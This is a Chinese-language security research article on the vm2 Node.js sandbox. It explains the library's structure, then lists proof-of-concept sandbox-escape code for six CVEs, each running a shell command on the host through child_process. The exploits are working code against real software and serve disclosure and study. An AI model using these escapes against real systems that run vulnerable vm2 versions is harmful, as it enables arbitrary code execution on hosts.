vm2包结构如下
有几个关键文件用于实现使用vm2模块在命令行中创建沙箱环境:
-
cli.js: 这个文件实现了在命令行中调用vm2的功能,它位于bin目录下。通过运行cli.js,可以在命令行中创建一个沙箱环境。 -
contextify.js: 这个文件封装了三个对象:Contextify、Decontextify和propertyDescriptor。它还对global的Buffer类进行了代理操作,用于增强沙箱的隔离性和安全性。 -
main.js: 这个文件是vm2执行的入口点。它导出了NodeVM和VM这两个沙箱环境,并封装了VMScript,实际上是对vm.Script进行了进一步封装,提供了更便捷的接口来执行代码。 -
sandbox.js: 这个文件用于拦截全局的一些函数和变量,例如setTimeout、setInterval等。通过拦截这些函数和变量,可以控制沙箱环境中的代码执行,增加了对代码的安全性和控制能力。
vm2在相比于vm模块上进行了一系列重要的改进,其中之一是利用了ES6引入的Proxy特性,并通过钩子拦截对constructor和__proto__等属性的访问。
vm2代码演示:
const {VM, VMScript} = require('vm2');
const script = new VMScript("let b=3;b");
console.log((new VM()).run(script));
VM是在vm2模块基础上封装的一个虚拟机。通过实例化VM对象并调用其run方法,可以轻松地运行一段脚本。
vm2 也存在着许多沙箱逃匿问题,常见的exp如下。
CVE-2019-10761
影响版本vm2版本<=3.6.10
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){
}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
CVE-2021-23449
"use strict";
const {VM} = require('vm2');
const untrusted = `
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("ifconfig").toString();
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正则匹配并替换了bimportb关键字,在编译失败的时候,报Dynamic Import not supported错误。
CVE-2023-29199
在版本3.9.15之前的vm2的源代码转换器(异常清理逻辑)中存在一个漏洞,允许攻击者绕过handleException()并泄漏未清理的主机异常,这些异常可用于逃离沙箱并在主机上下文中运行任意代码。
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try {
stack();
} catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
CVE-2023-30547
在版本3.9.16之前的vm2异常清理中存在一个漏洞,允许攻击者在handleException()中引发一个未清理的主机异常,该异常可用于逃离沙箱并在主机上下文中运行任意代码。
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
CVE-2023-32314
vm2中存在沙箱逃逸漏洞,适用于3.9.17以下版本。它滥用了基于代理规范的主机对象的意外创建。
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("whoami").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
CVE-2023-37466
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch 123'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
原文始发于微信公众号(山石网科安全技术研究院):Nodejs中的VM2沙箱逃逸利用方式探讨